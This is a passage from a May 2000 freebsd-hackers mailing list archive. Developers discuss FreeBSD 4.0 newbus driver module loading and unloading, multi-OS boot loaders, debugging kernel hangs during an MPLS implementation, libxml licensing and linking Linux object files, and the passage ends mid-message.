X-Loop: FreeBSD.ORG I am in the process of upgrading my Turtle Beach MultiSound Monterey soundcard device driver (msm) from the 3.x version available from http://www.treefort.org/~bobkat/msm_main.shtml to 4.0-RELEASE. While crawling over the learning curve of the new-bus system I've been bit by the following. In FreeBSD: src/sys/kern/subr_bus.c,v 1.54 2000/02/29 09:36:25 dfr line 312 devclass_find_internal(driver->name, TRUE); calls that function ignoring the return value but with arg2=TRUE If the classname is not found in the for loop at line 255 and create = TRUE, which it is by call value then a malloc is performed. The malloc is assigned to dc and dc is returned, but the calling function has summarily ignored the return value. How is this malloc'd memory ever freed? I looked at the head of the CVS tree and this same scenario still looks like it can happen. Please confirm or refute. -=-=-=-=-=-=-=-= What led me to uncover this is trying to get my driver which is compiled as a module to kldload / kldunload from a shell prompt as root with the system fully up running multi-user. The behavior under 3.x is that a kldload will attach my (msm) module to the kernel and execute my msm_probe() and msm_attach() functions. A subsequent kldunload will delete the module and free all resources allocated leaving no leaks or indications that it had ever been attached. I am attempting to accomplish the same behavior on 4.0-RELEASE. Also my 4.0 kernel will have no prior knowledge of this device meaning /sys/compile/SOMEKERNEL/ioconf.c will know nothing about this device. This souncard is a totally brain dead ISA board not PnP. So in modifications for newbus of 4.0 I used the joy driver as an example. It's source being at /sys/isa/joy.c. It has a module Makefile at /sys/modules/joy and also there is a joy.sh file that would indicate that this module can be kldload'd into a running kernel. Well I tried that and kldstat -v indeed showed the joy module was loaded but the joy_probe() function never got executed. I edited the /sys/isa/joy.c file and added a printf() as the 1st line of the joy_probe() function, recompiled the module and kldloaded it again, after first kldunload'ing it of course, and that printf() output was nowhere to be found (not in /var/log/messages or on any system console). Someone please confirm or refute this behavior. I went thru the execise of adding a joy option to a kernel config file and built a new kernel. Booting it caused the joy_probe() function to execute and the printf() output was in /var/log/messages as anticipated. My driver, patterned after the joy driver module, was exhibiting the same behavior my msm_probe() was not being executed on kldload. I did some things to surmount that hurdle and am at a point where my driver kldload's, executes my msm_probe() and msm_attach() functions and kldunload's, but that leak in subr_bus.c is leaving an instance of my msm_devclass behind when I kldunload and on each subsequent kldload I add another msm unit to the kernel. That is not an acceptable situation. Knowing that my in-experienced approach at getting my msm_probe() and msm_attach() to execute may not be the right way to do things, I will start by just asking for a referral to some other driver that is implemented as a module with the newbus architecture, that will kldload / kldunload with no side effects and that preferably is an ISA device. If no one responds to this request I will repost with actual code and a laundry list of observed symptoms. Bob Kot To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 15:54:54 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id D5FED37BD2F for ; Mon, 29 May 2000 15:54:50 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id QAA38729; Mon, 29 May 2000 16:54:42 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id QAA11358; Mon, 29 May 2000 16:54:26 -0600 (MDT) Message-Id: <200005292254.QAA11358@harmony.village.org> To: Dennis Subject: Re: 4.0 - Isa devices not being probed Cc: hackers@FreeBSD.ORG In-reply-to: Your message of "Mon, 29 May 2000 13:01:07 EDT." <200005291700.NAA23834@etinc.com> References: <200005291700.NAA23834@etinc.com> Date: Mon, 29 May 2000 16:54:26 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200005291700.NAA23834@etinc.com> Dennis writes: : The best "portable" coding method is with memory-mapped registers, which : seems to have been omitted from this "implementation", which is the gripe : here. SYS_RES_MEMORY does exactly this. What are you talking about? I'm using this in 5 different drivers right now w/o a hitch. What are you talking about? Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 18:11:58 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp02.teb1.iconnet.net (smtp02.teb1.iconnet.net [209.3.218.43]) by hub.freebsd.org (Postfix) with ESMTP id F105A37BD1C for ; Mon, 29 May 2000 18:11:55 -0700 (PDT) (envelope-from babkin@bellatlantic.net) Received: from bellatlantic.net (client-151-198-117-162.nnj.dialup.bellatlantic.net [151.198.117.162]) by smtp02.teb1.iconnet.net (8.9.1/8.9.1) with ESMTP id VAA17122; Mon, 29 May 2000 21:11:37 -0400 (EDT) Message-ID: <3933155E.F6346F9D@bellatlantic.net> Date: Mon, 29 May 2000 21:11:58 -0400 From: Sergey Babkin X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 4.0-19990626-CURRENT i386) X-Accept-Language: ru, en MIME-Version: 1.0 To: Steven Alexander Cc: Steve Hill , freebsd-hackers@FreeBSD.ORG Subject: Re: Creating a system to boot 4 different OS types. References: <000e01bfc92c$8cc26f80$0100007f@localhost.cell2000.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Steven Alexander wrote: > > I've had problems getting Windows NT to boot using bootloaders from other > OSes. I'd suggest installing NT last and putting it on the first partition. The partition number does not really matter, what really matters is that Windows wants to be in the very first tracks of the disk. This is legacy left from DOS which always had the same mania. > If it doesn't pick up any of the other OSes you can add them in easily using > BootPart (http://www.winimage.com/bootpart.htm). It's a free utility to add > others OSes to the NT boot menu. I'm running a Dual-Boot Windows NT and > FreeBSD machine. I installed FreeBSD after Windows NT to replace a linux > install and BootPart did the trick. NT (as well as 95/98) silently overwrites the master boot record. To restore it just boot from the FreeBSD CD-ROM (or diskette), go into the custom install and do the first step - the slice (FreeBSD-speak for partitions) editor. Don't change anything, just press "w" and when menu is presented select the MBR with menus. Complete this write and reboot. The new master boot loader is ready. > From: Gary T. Corcoran > >LILO should work for you. At work I have it triple (quad) booting In my hunble opinion LILO is the most brain-damaged boot loader I ever saw. The FreeBSD master boot loader with menus is IMHO much better. -SB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 19:33:47 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rdc1.nj.home.com (ha1.rdc1.nj.home.com [24.3.128.66]) by hub.freebsd.org (Postfix) with ESMTP id 8BC3E37B63B for ; Mon, 29 May 2000 19:33:45 -0700 (PDT) (envelope-from garycor@home.com) Received: from home.com ([24.3.185.85]) by mail.rdc1.nj.home.com (InterMail vM.4.01.02.00 201-229-116) with ESMTP id <20000530023344.FTZA21108.mail.rdc1.nj.home.com@home.com>; Mon, 29 May 2000 19:33:44 -0700 Message-ID: <3933292B.28F51856@home.com> Date: Mon, 29 May 2000 22:36:27 -0400 From: "Gary T. Corcoran" X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Sergey Babkin Cc: Steven Alexander , Steve Hill , freebsd-hackers@FreeBSD.ORG Subject: Re: Creating a system to boot 4 different OS types. References: <000e01bfc92c$8cc26f80$0100007f@localhost.cell2000.net> <3933155E.F6346F9D@bellatlantic.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sergey Babkin wrote: > > Steven Alexander wrote: > > > > I've had problems getting Windows NT to boot using bootloaders from other > > OSes. I'd suggest installing NT last and putting it on the first partition. > > The partition number does not really matter, what really matters is > that Windows wants to be in the very first tracks of the disk. This > is legacy left from DOS which always had the same mania. While this may have once been true, I don't believe it holds for modern versions of Windows. That is, at least for Win98 and Win2000. Whether the kluge known as Windows NT (4) still has that requirement I don't know. In any event, unless you have a specific requirement to use the old Windows NT4, I'd wouldn't touch it with the proverbial 10-foot pole. I'd use Windows 2000 instead if I needed "NT" compatibility. > NT (as well as 95/98) silently overwrites the master boot record. Quite true, so be prepared to restore it. I was surprised, however, when an install of the final release of Windows 2000 did NOT overwrite my master boot record (MBR). After the install I still had LILO in the MBR, so I could still boot FreeBSD and Linux... Gary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 20: 6:23 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from seu.edu.cn (seic8.seu.edu.cn [202.119.24.18]) by hub.freebsd.org (Postfix) with SMTP id 92EE637BAAF for ; Mon, 29 May 2000 20:06:16 -0700 (PDT) (envelope-from bxgu@seu.edu.cn) Received: (qmail 2744 invoked from network); 30 May 2000 03:02:59 -0000 Received: from unknown (HELO seu.edu.cn) (202.119.11.184) by seic8.seu.edu.cn with SMTP; 30 May 2000 03:02:59 -0000 Message-ID: <393482F8.B75F4755@seu.edu.cn> Date: Wed, 31 May 2000 11:11:52 +0800 From: Alexander Gu Reply-To: bxgu@seu.edu.cn Organization: High Performance Network Research Group X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-hackers@FreeBSD.org Subject: what is the steps in the programing of device driver in freebsd? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hello! recently,I read the kernel source code of freebsd,I want to write device driver program,I want to use ioctl to control my device how can I do ?what is the steps?:) Sincerely! Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 21: 1: 3 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from facmail.cc.gettysburg.edu (facmail.gettysburg.edu [138.234.4.150]) by hub.freebsd.org (Postfix) with ESMTP id CB22537B939 for ; Mon, 29 May 2000 21:01:00 -0700 (PDT) (envelope-from s467338@gettysburg.edu) Received: from jupiter2 (jupiter2 [138.234.4.6]) by facmail.cc.gettysburg.edu (8.9.3/8.9.3) with SMTP id AAA07632; Tue, 30 May 2000 00:00:07 -0400 (EDT) Date: Tue, 30 May 2000 00:00:05 -0400 (EDT) From: Andrew Reiter X-Sender: s467338@jupiter2 To: Alexander Gu Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: what is the steps in the programing of device driver in freebsd? In-Reply-To: <393482F8.B75F4755@seu.edu.cn> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Alex, As for character devices... take a look at /usr/share/examples/kld/cdev.. However, this is not working under 4.0 [patch sent but not committed]. However, I am writing a tutorial discussing character devices written via the KLD interface... When complete, I will post url to list. Andrew On Wed, 31 May 2000, Alexander Gu wrote: |hello! |recently,I read the kernel source code of freebsd,I want to write |device driver program,I want to use ioctl to control my device | how can I do ?what is the steps?:) |Sincerely! |Alex | | |To Unsubscribe: send mail to majordomo@FreeBSD.org |with "unsubscribe freebsd-hackers" in the body of the message | --------------------------------------------------------- Andrew Reiter Computer Security Engineer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 29 23:13:50 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasi.com (sasi.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id 41C8237BD4A; Mon, 29 May 2000 23:13:41 -0700 (PDT) (envelope-from gbnaidu@sasi.com) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id LAA29173; Tue, 30 May 2000 11:41:33 +0530 (IST) Received: from sund6.sasi.com ([10.0.16.6]) by sasi.com; Tue, 30 May 2000 11:41:30 +0000 (IST) Received: from localhost (gbnaidu@localhost) by sund6.sasi.com (8.9.3/8.9.1) with ESMTP id LAA01428; Tue, 30 May 2000 11:41:30 +0530 (IST) Date: Tue, 30 May 2000 11:41:30 +0530 (IST) From: "G.B.Naidu" To: freebsd-hackers@FreeBSD.org Cc: freebsd-net@FreeBSD.org Subject: system hangs... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, We have made some kernel changes. And accordingly we are testing the changes using some user level daemon. After sending some packets, the system hangs. The number of packets sent before the system hangs varies from time to time. Could some body tell me how to know what is happening? How do I find out the reason for hanging? Is there anyway to get such information through some core dump? I have enabled taking dumps and it is dumping when the system panics but not when it hangs. Is memory leakage can cause a system hang? If so how do I find out that there is a memory leakage? thanks --gb To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 0:28: 8 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from hermes.research.kpn.com (hermes.research.kpn.com [139.63.192.8]) by hub.freebsd.org (Postfix) with ESMTP id 5643837BD4A for ; Tue, 30 May 2000 00:28:01 -0700 (PDT) (envelope-from K.J.Koster@kpn.com) Received: from l04.research.kpn.com (l04.research.kpn.com [139.63.192.204]) by research.kpn.com (PMDF V5.2-31 #42699) with ESMTP id <01JQ08FZ69UA0005AV@research.kpn.com> for freebsd-hackers@freebsd.org; Tue, 30 May 2000 09:27:56 +0200 Received: by l04.research.kpn.com with Internet Mail Service (5.5.2650.21) id ; Tue, 30 May 2000 09:27:46 +0100 Content-return: allowed Date: Tue, 30 May 2000 09:27:43 +0100 From: "Koster, K.J." Subject: RE: 4.0 - Isa devices not being probed To: 'Dennis' Cc: 'FreeBSD Hackers mailing list' Message-id: <59063B5B4D98D311BC0D0001FA7E4522026D75BC@l04.research.kpn.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Dennis, I can see that you disagree with some of the design decisions that have been made. However, your tone makes that people will not listen to what you say, but hammer into your person instead. I'm not quite sure what you are trying to achieve by trampling all over people's shoes like this. I'm quite surprised you haven't gotten yourself filtered yet. As for the technical discussion: I'm not knowledgeable in that area. Since FreeBSD implements it the way it does, I have all confidence that it is a good way. Kees Jan ============================================== Everyone is responsible for his own actions, and (people tend to forget this) the effect they have on others. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 0:37:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from hermes.research.kpn.com (hermes.research.kpn.com [139.63.192.8]) by hub.freebsd.org (Postfix) with ESMTP id 3329637BD71 for ; Tue, 30 May 2000 00:37:08 -0700 (PDT) (envelope-from K.J.Koster@kpn.com) Received: from l04.research.kpn.com (l04.research.kpn.com [139.63.192.204]) by research.kpn.com (PMDF V5.2-31 #42699) with ESMTP id <01JQ08RBXFHA0006LR@research.kpn.com> for freebsd-hackers@FreeBSD.ORG; Tue, 30 May 2000 09:37:05 +0200 Received: by l04.research.kpn.com with Internet Mail Service (5.5.2650.21) id ; Tue, 30 May 2000 09:36:55 +0100 Content-return: allowed Date: Tue, 30 May 2000 09:36:45 +0100 From: "Koster, K.J." Subject: RE: system hangs... To: "'G.B.Naidu'" Cc: freebsd-hackers@FreeBSD.ORG Message-id: <59063B5B4D98D311BC0D0001FA7E4522026D75BE@l04.research.kpn.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > We have made some kernel changes. And accordingly we are > testing the changes using some user level daemon. After > sending some packets, the system hangs. The number of > packets sent before the system hangs varies from time to > time. > What kind of changes? What kind of packets? What kind of deamon? What kind of kernel? > > Could some body tell me how to know what is happening? How > do I find out the reason for hanging? Is there anyway to get > such information through some core dump? I have enabled > taking dumps and it is dumping when the system panics but > not when it hangs. > You can make the system panic manually, and then you have your kernel core. As for how to know what's happening: printf() is your friend. > > Is memory leakage can cause a system hang? If so how do I > find out that there is a memory leakage? > There are many good books and web sites that cover basic debugging techniques. You have to provide a *lot* more information than this. We can only help you if you are able to produce some detailed description of your problem. If you can't tell sitting behind the box, how are we supposed to know what you've done wrong? Kees Jan ============================================== Everyone is responsible for his own actions, and (people tend to forget this) the effect they have on others. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 0:45:44 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by hub.freebsd.org (Postfix) with ESMTP id 6014437B61C for ; Tue, 30 May 2000 00:45:38 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from nlsys.demon.co.uk ([158.152.125.33] helo=herring.nlsystems.com) by finch-post-10.mail.demon.net with esmtp (Exim 2.12 #1) id 12wgiW-0005W1-0A; Tue, 30 May 2000 07:45:36 +0000 Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3]) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id IAA67688; Tue, 30 May 2000 08:46:24 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 30 May 2000 08:50:50 +0100 (BST) From: Doug Rabson To: Bob Kot Cc: freebsd-hackers@freebsd.org Subject: Re: subr_bus.c | kldload | kldunload In-Reply-To: <00052914152202.00450@full.planing.jibe> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 29 May 2000, Bob Kot wrote: > > > I am in the process of upgrading my Turtle Beach MultiSound Monterey > soundcard device driver (msm) from the 3.x version available from > http://www.treefort.org/~bobkat/msm_main.shtml > to 4.0-RELEASE. While crawling over the learning curve of the new-bus > system I've been bit by the following. > > In FreeBSD: src/sys/kern/subr_bus.c,v 1.54 2000/02/29 09:36:25 dfr > line 312 devclass_find_internal(driver->name, TRUE); > calls that function ignoring the return value but with arg2=TRUE > If the classname is not found in the for loop at line 255 and > create = TRUE, which it is by call value then a malloc is performed. > The malloc is assigned to dc and dc is returned, but the calling > function has summarily ignored the return value. How is this malloc'd > memory ever freed? I looked at the head of the CVS tree and this > same scenario still looks like it can happen. Please confirm > or refute. > > -=-=-=-=-=-=-=-= > > What led me to uncover this is trying to get my driver which is > compiled as a module to kldload / kldunload from a shell prompt > as root with the system fully up running multi-user. The behavior > under 3.x is that a kldload will attach my (msm) module to the kernel > and execute my msm_probe() and msm_attach() functions. A subsequent > kldunload will delete the module and free all resources allocated > leaving no leaks or indications that it had ever been attached. I am > attempting to accomplish the same behavior on 4.0-RELEASE. Also my > 4.0 kernel will have no prior knowledge of this device meaning > /sys/compile/SOMEKERNEL/ioconf.c will know nothing about this device. The devclass will live forever. This is not a problem since the second time the driver is loaded, it will use the devclass which was created the first time. > > This souncard is a totally brain dead ISA board not PnP. So in > modifications for newbus of 4.0 I used the joy driver as an example. > It's source being at /sys/isa/joy.c. It has a module Makefile at > /sys/modules/joy and also there is a joy.sh file that would indicate > that this module can be kldload'd into a running kernel. Well I > tried that and kldstat -v indeed showed the joy module was loaded > but the joy_probe() function never got executed. I edited the > /sys/isa/joy.c file and added a printf() as the 1st line of the > joy_probe() function, recompiled the module and kldloaded it again, > after first kldunload'ing it of course, and that printf() output was > nowhere to be found (not in /var/log/messages or on any system > console). Someone please confirm or refute this behavior. > > I went thru the execise of adding a joy option to a kernel config > file and built a new kernel. Booting it caused the joy_probe() > function to execute and the printf() output was in /var/log/messages > as anticipated. > > My driver, patterned after the joy driver module, was exhibiting the > same behavior my msm_probe() was not being executed on kldload. > I did some things to surmount that hurdle and am at a point where > my driver kldload's, executes my msm_probe() and msm_attach() > functions and kldunload's, but that leak in subr_bus.c is leaving > an instance of my msm_devclass behind when I kldunload and on > each subsequent kldload I add another msm unit to the kernel. > That is not an acceptable situation. Without seeing the code, it appears that you are creating a new device instance each time the module is loaded. Probably you should try to only do this the first time (e.g. by looking to see if device msm0 exists). This part of the interface could use some improvement. > > Knowing that my in-experienced approach at getting my msm_probe() > and msm_attach() to execute may not be the right way to do things, > I will start by just asking for a referral to some other driver > that is implemented as a module with the newbus architecture, that > will kldload / kldunload with no side effects and that preferably is > an ISA device. If no one responds to this request I will repost with > actual code and a laundry list of observed symptoms. Warner Losh might be able to help you out here. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 20 8442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 1:13:52 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from juice.shallow.net (node16229.a2000.nl [24.132.98.41]) by hub.freebsd.org (Postfix) with ESMTP id 2F58337BACF for ; Tue, 30 May 2000 01:13:43 -0700 (PDT) (envelope-from joshua@roughtrade.net) Received: from localhost (joshua@localhost) by juice.shallow.net (8.9.3/8.9.3) with ESMTP id KAA20031; Tue, 30 May 2000 10:13:35 +0200 (CEST) (envelope-from joshua@roughtrade.net) Date: Tue, 30 May 2000 10:13:35 +0200 (CEST) From: Joshua Goodall To: "Koster, K.J." Cc: "'G.B.Naidu'" , freebsd-hackers@FreeBSD.ORG Subject: RE: system hangs... In-Reply-To: <59063B5B4D98D311BC0D0001FA7E4522026D75BE@l04.research.kpn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I think, generically, you want to look at http://www.freebsd.org/handbook/kerneldebug.html in particular 22.4 -- Joshua Goodall To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 1:42: 2 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gilgamesch.bik-gmbh.de (T1-Hansenet.BIK-GmbH.de [192.76.134.246]) by hub.freebsd.org (Postfix) with ESMTP id 8E93D37BDA2; Tue, 30 May 2000 01:41:55 -0700 (PDT) (envelope-from cracauer@gilgamesch.bik-gmbh.de) Received: (from cracauer@localhost) by gilgamesch.bik-gmbh.de (8.9.3/8.7.3) id KAA03205; Tue, 30 May 2000 10:41:52 +0200 (MET DST) Date: Tue, 30 May 2000 10:41:52 +0200 From: Martin Cracauer To: Ade Lovett Cc: Wes Peters , freebsd-hackers@FreeBSD.ORG Subject: Re: Generic config file parser? Message-ID: <20000530104152.A3169@cons.org> References: <39321407.40926B57@softweyr.com> <20000529102919.A2142@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20000529102919.A2142@FreeBSD.org>; from ade@FreeBSD.ORG on Mon, May 29, 2000 at 10:29:19AM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In <20000529102919.A2142@FreeBSD.org>, Ade Lovett wrote: > Be advised, however, the ports/textproc/libxml has a 2.0 version > floating around "out there" on the GNOME sites, which does have > a reasonable amount of incompatibility at the API level.. my > understanding is that the 1.x series is now end-of-life. Last time I looked there wasn't a clear license statement in libxml. I contains the GPL and LGPL license files, but no indication which license is used for what. Unless that changed or if they intend to use the GPL... Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.cons.org/cracauer/ BSD User Group Hamburg, Germany http://www.bsdhh.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 1:46:42 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gilgamesch.bik-gmbh.de (T1-Hansenet.BIK-GmbH.de [192.76.134.246]) by hub.freebsd.org (Postfix) with ESMTP id C913C37BDA8 for ; Tue, 30 May 2000 01:46:39 -0700 (PDT) (envelope-from cracauer@gilgamesch.bik-gmbh.de) Received: (from cracauer@localhost) by gilgamesch.bik-gmbh.de (8.9.3/8.7.3) id KAA03492; Tue, 30 May 2000 10:46:34 +0200 (MET DST) Date: Tue, 30 May 2000 10:46:34 +0200 From: Martin Cracauer To: d_f0rce@gmx.de Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Linking Linux object files under FreeBSD Message-ID: <20000530104634.B3169@cons.org> References: <28440.959613498@www19.gmx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <28440.959613498@www19.gmx.net>; from d_f0rce@gmx.de on Mon, May 29, 2000 at 05:18:18PM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In <28440.959613498@www19.gmx.net>, d_f0rce@gmx.de wrote: > Hi, > > Can anyone tell me if it is possible to link object > files which were compiled under Linux on a FreeBSD system. Stricly speaking, yes, but you have to use one C library consistently, that means, include files and library linked to must be from the same OS/version. Once one object files includes a Linux include file from Linux libc, you have to link against Linux libs. May I assume that you just didn't realize that you can link Linux object files to Linux binaries using Linux libc under FreeBSD? Use the linux_devel port. I has to be quite up-to-date, otherwise you have to make sure you don't jump out of /compat/linux when the linker searches for libraries. Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.cons.org/cracauer/ BSD User Group Hamburg, Germany http://www.bsdhh.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 1:53:55 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasi.com (sasi.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id 6F3EF37B90B; Tue, 30 May 2000 01:53:38 -0700 (PDT) (envelope-from gbnaidu@sasi.com) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id OAA05451; Tue, 30 May 2000 14:21:29 +0530 (IST) Received: from sund6.sasi.com ([10.0.16.6]) by sasi.com; Tue, 30 May 2000 14:21:27 +0000 (IST) Received: from localhost (gbnaidu@localhost) by sund6.sasi.com (8.9.3/8.9.1) with ESMTP id OAA19347; Tue, 30 May 2000 14:21:23 +0530 (IST) Date: Tue, 30 May 2000 14:21:23 +0530 (IST) From: "G.B.Naidu" To: Joshua Goodall Cc: "Koster, K.J." , freebsd-hackers@FreeBSD.org, freebsd-net@FreeBSD.org Subject: RE: system hangs... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Guys, My system hangs. I know how to take core dumps and start debugging if it is panicing. But the system hangs, then I cant do anything. The only thing I can do is reset or power off and on. What I would like to know is how to handle hangs. I guess that panic and hangs are different. Koster, I will reply to your mail soon. I will try to give all the information I can give. thanks a lot --gb On Tue, 30 May 2000, Joshua Goodall wrote: > > I think, generically, you want to look at > > http://www.freebsd.org/handbook/kerneldebug.html > > in particular 22.4 > > -- > Joshua Goodall > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 30 2: 5: 4 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasi.com (sasi.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id 276AC37BD79; Tue, 30 May 2000 02:04:41 -0700 (PDT) (envelope-from gbnaidu@sasi.com) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id OAA05884; Tue, 30 May 2000 14:32:35 +0530 (IST) Received: from sund6.sasi.com ([10.0.16.6]) by sasi.com; Tue, 30 May 2000 14:32:33 +0000 (IST) Received: from localhost (gbnaidu@localhost) by sund6.sasi.com (8.9.3/8.9.1) with ESMTP id OAA21093; Tue, 30 May 2000 14:32:30 +0530 (IST) Date: Tue, 30 May 2000 14:32:30 +0530 (IST) From: "G.B.Naidu" To: "Koster, K.J." Cc: freebsd-hackers@FreeBSD.org, freebsd-net@FreeBSD.org Subject: RE: system hangs... In-Reply-To: <59063B5B4D98D311BC0D0001FA7E4522026D75BE@l04.research.kpn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Please see my comments below: On Tue, 30 May 2000, Koster, K.J. wrote: > > > > We have made some kernel changes. And accordingly we are > > testing the changes using some user level daemon. After > > sending some packets, the system hangs. The number of > > packets sent before the system hangs varies from time to > > time. > > > What kind of changes? What kind of packets? What kind of deamon? What kind > of kernel? We are trying to implement MPLS on FreeBSD. so we are implementing forwarding tables in side the kernel. The chamges are done in ip_output() and ether_output(). We have added some more routing messages and corresponding functions. Dameon we are running is LDP daemon. The packets We are sending to test are ping packets. Kernel version is 3.3-RELEASE > > > > > Could some body tell me how to know what is happening? How > > do I find out the reason for hanging? Is there anyway to get > > such information through some core dump? I have enabled > > taking dumps and it is dumping when the system panics but > > not when it hangs. > > > You can make the system panic manually, and then you have your kernel core. I am concerned about hangs not panic. If it hangs, I cant type even enter. Nothing responds except the reset and power off key. SO is there a way I can take core dumps when the system hangs? > > As for how to know what's happening: printf() is your friend. > Is there a way to redirect the out put of printf() statements into /var/log/messages file? How do I do that? > > > > Is memory leakage 